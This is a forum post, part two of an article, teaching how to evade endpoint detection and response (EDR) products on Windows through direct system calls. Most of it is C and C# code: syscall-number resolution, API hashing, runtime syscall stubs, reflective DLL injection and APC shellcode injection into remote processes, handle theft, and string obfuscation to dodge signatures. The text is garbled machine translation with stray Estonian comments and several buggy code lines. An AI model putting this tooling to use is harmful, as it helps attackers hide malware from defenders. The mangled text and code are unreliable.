Article Bypassing EDR through a direct syscall call PART 2/2

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
126
Reaction score
115
Deposit
0$
4. The executioner's toolkit (practical section). Continuation.


4.4. SysWhispers3: Behind the Scenes of Automation


Let’s understandwhat SysWhispers3 actually generates in order not to be just a user’scode.

After launching the script with the parameter--preset common, we get two key files: syscalalls.h and syscalls.c.Take a look at syscals.c:








C:








// ... Generatingthe SSN using GetSyscallNumber


DWORDGetSyscallNumber(PCSTR FunctionName) {


// 1. Retrieve thebase address of ntdll.dll from the PEB (without callingGetModuleHandle)


PPEB Peb =(PPEB)__readgsqword (0x60);


PPEB_LDR_DATA Ldr =Peb->Ldr;


PLIST_ENTRYModuleList = &Ldr->InMemoryOrderModuleList;





PLIST_ENTRYListEntry = ModuleList->Flink;


PWSTR moduleName =NULL;


while (ListEntry !=ModuleList) {


PLDR_DATA_TABLE_ENTRYEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);


if(Entry->BaseDllName.Buffer) {


// Compare themodule name with “ntdll.dll”


// ... (omitted forbrevity)


}


ListEntry =ListEntry->Flink;


}





// 2. Parse the EAT(Export Address Table) of the found module to obtain the functionaddress


PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)moduleBase;


PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS) ((LPBYTE)moduleBase +dosHeader->e_lfanew);


PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)moduleBase +


ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);





PDWORD functions =(PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfFunctions);


PDWORD names =(PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfNames);


PWORD ordinals =(PWORD)((LPBYTE)moduleBase + exportDir->AddressOfNameOrdinals);





// 3. Search for thedesired function name


for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {


PCHAR functionName =(PCHAR)moduleBase + names;


if(_stricmp(functionName, FunctionName) == 0) {


PBYTEfunctionAddress = (PBYTE)moduleBase + functions[ordinals];


// 4. Disassemblethe beginning of the function to extract the SSN


returnExtractSSNFromFunction(functionAddress);


}


}


return 0;


}





// The wrapperfunction for NtAllocateVirtualMemory


EXTERN_C NTSTATUSNtAllocateVirtualMemory(


_In_ HANDLEProcessHandle,


_Inout__At_(*BaseAddress, _Readable_bytes_(*RegionSize)_Writable_bytes_(*RegionSize) _Post_readable_byte_(*RegionSize))PVOID *BaseAddress,


_In_ ULONG_PTRZeroBits,


_Inout_ PSIZE_TRegionSize,


_In_ ULONGAllocationType,


_In_ ULONG Protect){


// Get the SSN forthe current function (cached)


static DWORDcachedSSN = 0;


if (cachedSSN == 0){


cachedSSN =GetSyscallNumber(“NtAllocateVirtualMemory”);


}





// Assembly codewith correct argument layout


__asm {


; Load argumentsinto registers (x64 fastcall)


mov r10, rcx ; Firstargument (ProcessHandle) -> r10


mov rcx,ProcessHandle


mov rdx, BaseAddress


mov r8, ZeroBits


mov r9, RegionSize


; Arguments afterthe fourth go on the stack


; AllocationType(5th)


mov rax,AllocationType


mov [rsp+32], rax


; Protect (6th)


mov rax, Protect


mov [rsp+40], rax


; Call


mov eax, cachedSSN


syscall


ret


}






Critical comments onthe code:

  1. GetSyscalNumber uses PEB to search for threadll.dll. It’s better than GetModulehandle, but still leaves marks in memory (search by name of the module). More optimal is to hardcode the basic address of nddll (it is often permanent for one version of the OS) or to receive it through NtQueryInformation Project with the ProcessModuleInformation class.
  2. ExtractSNFromFunction is a simplified Hell's Gate. In reality, SysWhispers3 uses a more complex logic similar to Halo’s Gate, looking for syscall and moving up the code.
  3. Caching SSN is good, but a static variable in a function can be a problem for multithreading. It is better to put the cache into the global structure with synchronization.

Conclusion:SysWhispers3 is a great start, but it needs to be finalized forproduction. Especially in terms of obfuscation and SSN search.


4.5. DInvoke: Power and flexibility C#


DInvoke is not justa library for syscal, it is a whole arsenal for memory operations.Let’s look at the key points.

Dynamic call throughdelegates (without P/Invoke):







C#:





using System;


usingSystem.Runtime.InteropServices;


usingDInvoke.DynamicInvoke;





public classSyscallsExample {


// Delegate forNtAllocateVirtualMemory


[UnmanagedFunctionPointer(CallingConvention.StdCall)]


delegate NTSTATUSNtAllocateVirtualMemoryDelegate(


IntPtrProcessHandle,


ref IntPtrBaseAddress,


IntPtr ZeroBits,


ref IntPtrRegionSize,


uint AllocationType,


uint Protect);





public static voidExecute() {


// 1. Get theaddress of NtAllocateVirtualMemory from ntdll.dll in memory


IntPtr ntdll =Generic.GetLoadedModuleAddress(“ntdll.dll”);


IntPtr funcAddr =Generic.GetExportAddress(ntdll, “NtAllocateVirtualMemory”);


// 2. Create adelegate for the call


NtAllocateVirtualMemoryDelegatentAllocateVirtualMemory =


(NtAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr,typeof(NtAllocateVirtualMemoryDelegate));


// 3. Call thefunction via the delegate (this is a call through ntdll, but withoutstatic P/Invoke)


IntPtr baseAddress =IntPtr.Zero;


IntPtr regionSize =(IntPtr)0x1000;


NTSTATUS status =ntAllocateVirtualMemory(


Process.GetCurrentProcess().Handle,


ref baseAddress,


IntPtr.Zero,


ref regionSize,


0x3000, //MEM_COMMIT | MEM_RESERVE


0x40); //PAGE_EXECUTE_READWRITE


if (status ==NTSTATUS.Success) {


Console.WriteLine($“[+]Memory allocated at 0x{baseAddress.ToInt64():X}”);


}


}


}








Strengths ofDInvoke:

  • ManualMap : Download DLL directly from memory (a technique known as reflect DLL injection) without using LoadLiberry.
  • OverloadOverload: Fake hucks to bypass calls (e.g., challenge NtWriteVirtualMemory via ZwWriteVirtualMemory with other parameters).
  • Parsing PE files: Utilities to work with PE headlines, which is useful for manual mapping.

Example of ManualMapwith Dinvoke:





C#:





usingDInvoke.ManualMap;





public classManualMapExample {


public static voidExecute() {


// 1. Read the DLLfrom disk into a byte array


byte[] dllBytes =File.ReadAllBytes(“mylib.dll”);


// 2. Map the DLL tothe current process's memory


var mappedModule =Map.MapModuleToMemory(dllBytes);


// 3. Get theaddress of the exported function


IntPtrfunctionAddress = Generic.GetExportAddress(mappedModule.ModuleBase,“MyExport”);


// 4. Create adelegate and call it


// ...


}


}






Important: ManualMapleaves characteristic traces in memory (for example, unaligned memoryregions with PAGE_EXECUTE_READWRITE rights). Advanced EDR (forexample, Elastic Endpoint) detect it through memory daps.


4.6. Own solutions: why and how


When you write yourtool from scratch, you control every byte. Let’s look at the keycomponents.

A. Search for the basic address of ntdll.dllvia PEB (without WinAPI):


C:





#include <windows.h>


#include<winternl.h>





PVOID GetNtdllBase(){


PPEB peb =(PPEB)__readgsqword(0x60); // PEB for x64


PPEB_LDR_DATA ldr =peb->Ldr;


PLIST_ENTRYmoduleList = &ldr->InMemoryOrderModuleList;


PLIST_ENTRYlistEntry = moduleList->Flink;


while (listEntry !=moduleList) {


PLDR_DATA_TABLE_ENTRYentry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);


// Check the modulename


UNICODE_STRINGntdllName;


RtlInitUnicodeString(&ntdllName,L“ntdll.dll”);


if(RtlCompareUnicodeString(&entry->BaseDllName, &ntdllName,TRUE) == 0) {


returnentry->DllBase;


}


listEntry =listEntry->Flink;


}


return NULL;


}








B. Parsing PE andsearching for hash exports (not to shine lines):

C:





DWORDHashStringDjb2A(const char* str) {


DWORD hash = 5381;


int c;


while ((c = *str++)){


hash = ((hash <<5) + hash) + c; // hash * 33 + c


}


return hash;


}





PVOIDGetFunctionAddressByHash(PVOID moduleBase, DWORD targetHash) {


PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)moduleBase;


PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS) ((PBYTE)moduleBase +dosHeader->e_lfanew);


PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)moduleBase +


ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);


PDWORD functions =(PDWORD)((PBYTE)moduleBase + exportDir->AddressOfFunctions);


PDWORD names =(PDWORD)((PBYTE)moduleBase + exportDir->AddressOfNames);


PWORD ordinals =(PWORD)((PBYTE)moduleBase + exportDir->AddressOfNameOrdinals);


for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {


PCHAR functionName =(PCHAR)moduleBase + names;


DWORD functionHash =HashStringDjb2A(functionName);


if (functionHash ==targetHash) {


return(PBYTE)moduleBase + functions[ordinals];


}


}


return NULL;


}





// Usage:


#defineHASH_NTALLOCATEVIRTUALMEMORY 0x9122A2B3 // Pre-calculated hash


PVOID funcAddr =GetFunctionAddressByHash(ntdllBase, HASH_NTALLOCATEVIRTUALMEMORY);












V. Extracting SSNthrough Halo's Gate (UPD):





C:





DWORDExtractSSN(PVOID functionAddress) {


PBYTE p =(PBYTE)functionAddress;


// Search forsyscall (0F 05) or sysret (0F 07)


for (int i = 0; i <256; i++) { // Limit the search


if (p == 0x0F &&(p[i+1] == 0x05 || p[i+1] == 0x07)) {


// Foundsyscall/sysret, now search for mov eax, SSN before it


for (int j = i; j >i - 32; j--) { // Search within 32 bytes back


if (p[j] == 0xB8) {// mov eax, imm32


return *((PDWORD)(p+ j + 1));


}


}


}


}


// If not found, thefunction may be hooked (jmp to detector)


// Search for jmp(E9) or jmp [mem] (FF 25)


if (p[0] == 0xE9 ||(p[0] == 0xFF && p[1] == 0x25)) {


// Calculate thejump address


PVOID jumpTarget =// ... (jmp disassembly)


// Recursivelysearch for SSN at the new address


returnExtractSSN(jumpTarget);


}


return 0;


}









Mr. Shellcodegeneration with syscall straight on the fly:

Sometimes itis necessary to have shellcode itself using direct syscal. For this,you can generate code into memory.





C:





voidGenerateSyscallStub(DWORD ssn, PVOID stubBuffer) {


// Code for x64: movr10, rcx; mov eax, SSN; syscall; ret


BYTE code[] = {


0x49, 0x8B, 0xD1, //mov r10, rcx (alternative: 0x4C, 0x8B, 0xD1)


0xB8, 0x00, 0x00,0x00, 0x00, // mov eax, SSN


0x0F, 0x05, //syscall


0xC3 // ret


};


// Insert SSN


*((PDWORD)(code +4)) = ssn;


// Copy to buffer(which must be executable)


memcpy(stubBuffer,code, sizeof(code));


}





// Usage:


DWORD ssn =ExtractSSN(GetFunctionAddressByHash(ntdllBase,HASH_NTCREATETHREADEX));


PVOID stub =VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


GenerateSyscallStub(ssn,stub);





// Now the stub canbe called as a function


typedef NTSTATUS(*NtCreateThreadExStub)(...);


NtCreateThreadExStubmySyscall = (NtCreateThreadExStub)stub;


mySyscall(...);


Important: This codeis easily detected by signatures (e.g. B8 ???? ??? ?????? 0F 05 C3).You need to obfuscate: add NOPs, change the order of instructions,use equivalent instructions.





5. We prepare the soil: how to make it work in real life.Continuation.


5.5. The Problem of Arguments: Encryption and Disguise


When you callNtAlloccateVirtualMemory with PAGE_EXECUTE_READWRITE and MEM_COMMIT |MEM_RESERVE, it is a red flag. The solution is to divide theoperation and use less suspicious flags at every stage.

Exampleof a divided memory allocation:


C:





// 1. Allocatememory with PAGE_READWRITE permissions (less suspicious)


status =NtAllocateVirtualMemory(


hProcess,


&baseAddr,


0,


&size,


MEM_RESERVE, // Justreserve, do not commit


PAGE_READWRITE);





// 2. Commit theregion with the same permissions


SIZE_T commitSize =0x1000;


status =NtAllocateVirtualMemory(


hProcess,


&baseAddr,


0,


&commitSize,


MEM_COMMIT, // Nowcommit


PAGE_READWRITE);





// 3. Change theprotection to PAGE_EXECUTE_READ (or PAGE_EXECUTE_READWRITE, ifwriting is required)


DWORD oldProtect;


status =NtProtectVirtualMemory(


hProcess,


&baseAddr,


&commitSize,


PAGE_EXECUTE_READ,


&oldProtect);








This creates threesyscalle instead of one, but each of them looks less suspicious.


5.6. Working with Handle: Theft and Duplication


Direct syscall oftenrequire the transmission of the process or flow. UsingGetCurrentProcess() or OpenProcess with PROCESS_ALL_ACCESS issuspicious.

A. Theft of the Legitimate Process:
Manyprocesses have open management to other processes (for example,svchost.exe often has a duty to lsass.exe with limited rights). Youcan find and copy such a team.


C:





NTSTATUSStealHandle(DWORD targetPid, PHANDLE stolenHandle) {


// 1. Retrieve alist of all handles in the system using NtQuerySystemInformation


// 2. Search for aProcess handle with the target PID


// 3. Duplicate thehandle using NtDuplicateObject


// 4. Return theduplicate


}





B. Creation of theminimum necessary rights:
Instead of PROCESS_ALL_ACCESS, usespecific rights:


  • PROCESS_VM_OPERATION for Memory Release
  • PROCESS_VM_WRITE for memory recording
  • PROCESS_VM_READ memory reading
  • PROCESS_CREATE_THREAD to create flow







C:


HANDLEOpenProcessWithMinimalRights(DWORD pid) {


OBJECT_ATTRIBUTES oa = { sizeof(oa)};


CLIENT_ID cid = { (HANDLE)pid, NULL};


HANDLE hProcess = NULL;





NTSTATUS status = NtOpenProcess(


&hProcess,


PROCESS_VM_OPERATION |PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,


&oa,


&cid);





return (NT_SUCCESS(status)) ?hProcess : NULL;








5.7. Departure fromthe detect on the chain of calls


EDR analyze syscallesequences. For example, the NtAllocateVirtalatureMemory ->NtWritVirtualMemory -> NtCreateThreadEx chain is classic for theinjector.

Oceanic chain:

  1. Adding garbage challenges: Call legitimate syscal between critical operations.

C:





// Unnecessary call


SYSTEM_TIMEOFDAY_INFORMATIONtimeInfo;


NtQuerySystemInformation(SystemTimeOfDayInformation,&timeInfo, sizeof(timeInfo), NULL);





// Critical call


NtAllocateVirtualMemory(...);





// More junk


ULONG debugFlag = 0;


NtQueryInformationProcess(GetCurrentProcess(),ProcessDebugFlags, &debugFlag, sizeof(debugFlag), NULL);







Modification oforder: For example, first create the flow in a suspended state, thenwrite in memory, then resume.

  1. Use alternative methods: Instead of NtCreateThreadEx use NtQueueApThread or RtlCreateUserThread.




6. Assembly of Frankenstein: from the sisocle to Shellcode.Deepening.


6.1. Reflexive DLL loading via direct syscal


Reflexive loading iswhen DLL loads itself without the help of LoadLibary. It’s moredifficult, but completely hidden from EDR.

Step-by-stepalgorithm:


C:





NTSTATUSReflectiveDLLInject(HANDLE hProcess, PBYTE dllBuffer, SIZE_T dllSize){


NTSTATUS status =STATUS_SUCCESS;


PVOID remoteBase =NULL;


SIZE_T regionSize =dllSize;


HANDLE hThread =NULL;


// 1. Eraldame mälusihtprotsessis


status =NtAllocateVirtualMemory(


hProcess,


&remoteBase,


0,


&regionSize,


MEM_COMMIT |MEM_RESERVE,


PAGE_EXECUTE_READWRITE);


if(!NT_SUCCESS(status)) return status;


// 2. KopeerimeDLL-i sihtprotsessi


SIZE_T bytesWritten= 0;


status =NtWriteVirtualMemory(


hProcess,


remoteBase,


dllBuffer,


dllSize,


&bytesWritten);


if(!NT_SUCCESS(status)) {


NtFreeVirtualMemory(hProcess,&remoteBase, &regionSize, MEM_RELEASE);


return status;


}


// 3. Arvutamereflektiivse laadija sisenemispunkti


// Oletame, etDLL-il on eksport „ReflectiveLoader“


PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)remoteBase;


PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)remoteBase +dosHeader->e_lfanew);


PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)remoteBase +


ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);


PDWORD functions =(PDWORD)((PBYTE)remoteBase + exportDir->AddressOfFunctions);


PDWORD names =(PDWORD)((PBYTE)remoteBase + exportDir->AddressOfNames);


PWORD ordinals =(PWORD)((PBYTE)remoteBase + exportDir->AddressOfNameOrdinals);


PVOIDreflectiveLoader = NULL;


for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {


PCHAR functionName =(PCHAR)remoteBase + names;


if(strcmp(functionName, „ReflectiveLoader“) == 0) {


reflectiveLoader =(PBYTE)remoteBase + functions[ordinals];


break;


}


}


if(!reflectiveLoader) {


NtFreeVirtualMemory(hProcess,&remoteBase, &regionSize, MEM_RELEASE);


returnSTATUS_ENTRYPOINT_NOT_FOUND;


}


// 4. Loomekaugprotsessi, mis käivitab ReflectiveLoader'i


status =NtCreateThreadEx(


&hThread,


THREAD_ALL_ACCESS,


NULL,


hProcess,


reflectiveLoader,


remoteBase, //ReflectiveLoader'i parameeter (DLL-i baasaadress)


0, //CREATE_SUSPENDED? 0 tähendab kohe käivitada


0,


0,


0,


NULL);


// 5. Ootamelaadimise lõppu (valikuline)


if(NT_SUCCESS(status)) {


NtWaitForSingleObject(hThread,FALSE, NULL);


NtClose(hThread);


}


return status;


}









Problems:


  • ReflectiveLoader should be self-sufficient: not to use imports, work only through direct syscal.
  • It is necessary to process relocations, imports, TLS-gallbacks.
  • Modern EDR detect reflexion on anomalies in memory (unrotated regions, mixed rights).

6.2. APC injection via NtQueueApThread


The alternative tothe flow is the use of APC (APC (APC). It could be less noticeable.





C:





NTSTATUSAPCInject(HANDLE hProcess, HANDLE hThread, PVOID shellcode, SIZE_TshellcodeSize) {


// 1. Allocatememory in the target process


PVOID remoteAddr =NULL;


SIZE_T regionSize =shellcodeSize;


NTSTATUS status =NtAllocateVirtualMemory(


hProcess,


&remoteAddr,


0,


&regionSize,


MEM_COMMIT |MEM_RESERVE,


PAGE_EXECUTE_READWRITE);


// 2. Write theshellcode


status =NtWriteVirtualMemory(hProcess, remoteAddr, shellcode, shellcodeSize,NULL);


// 3. Queue the APCfor the thread


status =NtQueueApcThread(


hThread,


(PKNORMAL_ROUTINE)remoteAddr,// APC routine


NULL, // Context


NULL, // Argument1


NULL); // Argument2


// 4. The threadwill execute the APC on the next transition to the alertable state


return status;


}






Features:


  • The flow should be in the alertable state (for example, calling SleepEx, WaitForSingleObjectEx, etc.).
  • If the flow is busy, the APC may not be performed for a long time.
  • You can use NtTestAlert to enforce APC.




I want to add aboutSignatures in Memory. Modern EDRs not only look for sequences ofinstructions, but also analyze memory metadata. For example, if yourlynch code is right in the code of the line of the "kernel32.dl"or "CreateThread" strings, they will be found even if youdo not use WinAPI.

Decision: Equip all strings simple XORat the compilation stage, and in the tentime to decipher in thestack:








C:


// At compile time


#define ENC_STR(str)XORString(str, 0x55)





// In the code


char encKernel[] ={0x3e, 0x3c, 0x33, 0x33, 0x30, 0x27, 0x7e, 0x72, 0x72, 0x7b}; //“kernel32.dll” XOR 0x55


char kernel[20];


XORDecrypt(encKernel,kernel, sizeof(encKernel), 0x55);


// Now kernelcontains “kernel32.dll”


It is also importantto clear the array after use: memset(kernel, 0, sizeof(kernel));








Now that we have aworking toolkit, let’s talk about how EDR learns to detect directsyscal, and how to stay one step ahead. It’s a cat-and-mouse game,and we’re the mice with PhDs in x64 architecture.
 
Top Bottom